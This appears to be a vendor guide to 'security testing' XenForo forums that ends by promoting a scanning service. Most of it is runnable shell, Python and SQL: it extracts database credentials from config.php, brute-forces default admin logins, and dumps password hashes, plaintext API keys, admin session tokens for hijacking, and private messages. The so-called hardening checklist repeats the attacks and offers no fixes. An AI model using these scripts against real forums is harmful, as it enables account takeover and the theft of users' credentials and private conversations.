XenForo Security Testing: Default Credentials, API Key, Database, and Forum

XenForo is one of the most popular commercial forum platforms, widely used by gaming communities, tech forums, and enterprise customer communities. Key assessment areas: src/config.php exposes MySQL database credentials; admin credentials grant full ACP (Admin Control Panel) access including add-on installation; the REST API uses keys stored in xf_api_key with configurable scope; and xf_user contains bcrypt password hashes. This guide covers systematic XenForo security assessment.

Table of Contents

  1. src/config.php MySQL Credential Extraction
  2. REST API Key and ACP Admin Credential Assessment
  3. MySQL xf_user Hash, xf_api_key, and Session Token Extraction
  4. XenForo Security Hardening

src/config.php MySQL Credential Extraction

# XenForo — src/config.php MySQL credential extraction
XF_URL="https://forum.example.com"

# src/config.php — XenForo database configuration
cat /var/www/xenforo/src/config.php 2>/dev/null
# $config['db']['host'] = 'localhost';
# $config['db']['port'] = '3306';
# $config['db']['username'] = 'xenforo';
# $config['db']['password'] = '...';     <-- MySQL database password
# $config['db']['dbname'] = 'xenforo';

python3 -c "
import re
content = open('/var/www/xenforo/src/config.php').read()
patterns = {
    'db_password': r\"\\\$config\['db'\]\['password'\]\s*=\s*'([^']+)'\",
    'db_username': r\"\\\$config\['db'\]\['username'\]\s*=\s*'([^']+)'\",
    'db_dbname':   r\"\\\$config\['db'\]\['dbname'\]\s*=\s*'([^']+)'\",
    'db_host':     r\"\\\$config\['db'\]\['host'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Test src/config.php web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${XF_URL}/src/config.php" 2>/dev/null)
echo "src/config.php: HTTP ${STATUS}"

# XenForo version check
curl -s "${XF_URL}/admin.php" 2>/dev/null | grep -oP 'XenForo [0-9]+\.[0-9]+\.[0-9]+' | head -1

# Test admin credentials at /admin.php
for CRED in "admin:admin" "admin:password" "admin:xenforo" "administrator:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  TOKEN=$(curl -s "${XF_URL}/admin.php?login/login" | \
    grep -oP '_xfToken" value="\K[^"]+' | head -1 2>/dev/null)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${XF_URL}/admin.php?login/login" \
    -d "login=${USER}&password=${PASS}&_xfToken=${TOKEN}&remember=1" \
    -c /tmp/xf_c -b /tmp/xf_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API Key and ACP Admin Credential Assessment

# XenForo REST API — API key and admin credential assessment
XF_URL="https://forum.example.com"

# XenForo REST API keys are created in ACP > API > API Keys
# Key types: super user key (full access) or user-specific key with scope
# Authentication: XF-Api-Key header

# Test API with extracted key
API_KEY="extracted-api-key"

# Get current user (with user-specific key)
curl -s "${XF_URL}/api/users/me" \
  -H "XF-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
u=d.get('user',{})
print(f'UserID: {u.get(\"user_id\")}')
print(f'Username: {u.get(\"username\")}')
print(f'Email: {u.get(\"email\")}')
print(f'Is admin: {u.get(\"is_admin\")}')
print(f'Is staff: {u.get(\"is_staff\")}')
" 2>/dev/null

# Super user API key — enumerate all users
curl -s "${XF_URL}/api/users?page=1&limit=100" \
  -H "XF-Api-Key: ${API_KEY}" \
  -H "XF-Api-User: 1" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users=d.get('users',[])
print(f'Total users: {d.get(\"pagination\",{}).get(\"total_items\")}')
for u in users[:5]:
    print(f'  [{u.get(\"user_id\")}] {u.get(\"username\")} — admin={u.get(\"is_admin\")} staff={u.get(\"is_staff\")}')
" 2>/dev/null

# Check for /install/ directory
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${XF_URL}/install/" 2>/dev/null)
echo "/install/: HTTP ${STATUS}"

MySQL xf_user Hash, xf_api_key, and Session Token Extraction

# XenForo MySQL database — xf_user hash, xf_api_key, and session extraction
DB_PASS="extracted-db-password"

mysql -u xenforo -p"${DB_PASS}" xenforo 2>/dev/null << 'EOF'
-- xf_user — all users with password hashes
SELECT u.user_id, u.username, u.email, u.password,
       u.is_admin, u.is_moderator, u.is_staff,
       u.register_date, u.last_activity
FROM xf_user u
WHERE u.user_state = 'valid'
ORDER BY u.user_id
LIMIT 20;
-- password: bcrypt $2y$10$... format in XenForo 2.x

-- Admin users
SELECT u.user_id, u.username, u.email, u.password,
       u.is_super_admin
FROM xf_user u
WHERE u.is_admin = 1
ORDER BY u.user_id;

-- API keys (REST API authentication tokens)
SELECT k.api_key_id, k.api_key, k.key_hash,
       k.title, k.is_super_user,
       k.user_id, k.scope,
       u.username, u.email
FROM xf_api_key k
LEFT JOIN xf_user u ON u.user_id = k.user_id
ORDER BY k.api_key_id;
-- api_key: plaintext key for XF-Api-Key header
-- is_super_user=1: full admin-level API access regardless of user

-- Active sessions (session hijacking)
SELECT s.session_id, s.user_id, s.ip, s.last_activity,
       u.username, u.email, u.is_admin
FROM xf_session s
JOIN xf_user u ON u.user_id = s.user_id
WHERE u.is_admin = 1
AND s.last_activity > UNIX_TIMESTAMP() - 86400
ORDER BY s.last_activity DESC
LIMIT 10;
-- session_id: value for xf_session cookie

-- Private conversations
SELECT cm.message_id, cm.conversation_id,
       u.username as sender,
       LEFT(cm.message, 200) as message_preview,
       cm.message_date
FROM xf_conversation_message cm
JOIN xf_user u ON u.user_id = cm.user_id
ORDER BY cm.message_date DESC
LIMIT 20;
EOF

XenForo Security Hardening

XenForo Security Hardening Checklist:
Security TestMethodRisk
src/config.php MySQL db/password extractionRead /var/www/xenforo/src/config.php — database credentials for all forum data, user hashes, API keys, and private conversationsCritical
xf_api_key plaintext REST API key extractionMySQL SELECT api_key FROM xf_api_key WHERE is_super_user=1 — super user API keys enabling full admin API access via XF-Api-Key headerCritical
Admin credential brute-force at /admin.phpPOST /admin.php?login/login — ACP session; add-on installation, user management, database backup, template modificationHigh
xf_user bcrypt password hash extractionMySQL SELECT password FROM xf_user WHERE is_admin=1 — bcrypt $2y$ hashes for admin accounts; slower to crack but enables offline password recoveryHigh
xf_session admin session token hijackingMySQL SELECT session_id FROM xf_session WHERE is_admin users — session cookie for xf_session; immediate ACP access without password knowledgeHigh

Automate XenForo Security Testing

Ironimo tests XenForo deployments for src/config.php MySQL database password web exposure, /src/ directory PHP file access protection, admin credential brute-force at /admin.php?login/login with CSRF token extraction, xf_api_key super user REST API key extraction, REST API /api/users user enumeration with admin status, xf_user bcrypt password hash and is_admin identification, xf_session active admin session token hijacking, xf_conversation_message private message content access, /install/ directory post-installation exposure, and XenForo version disclosure for CVE targeting.

Start free scan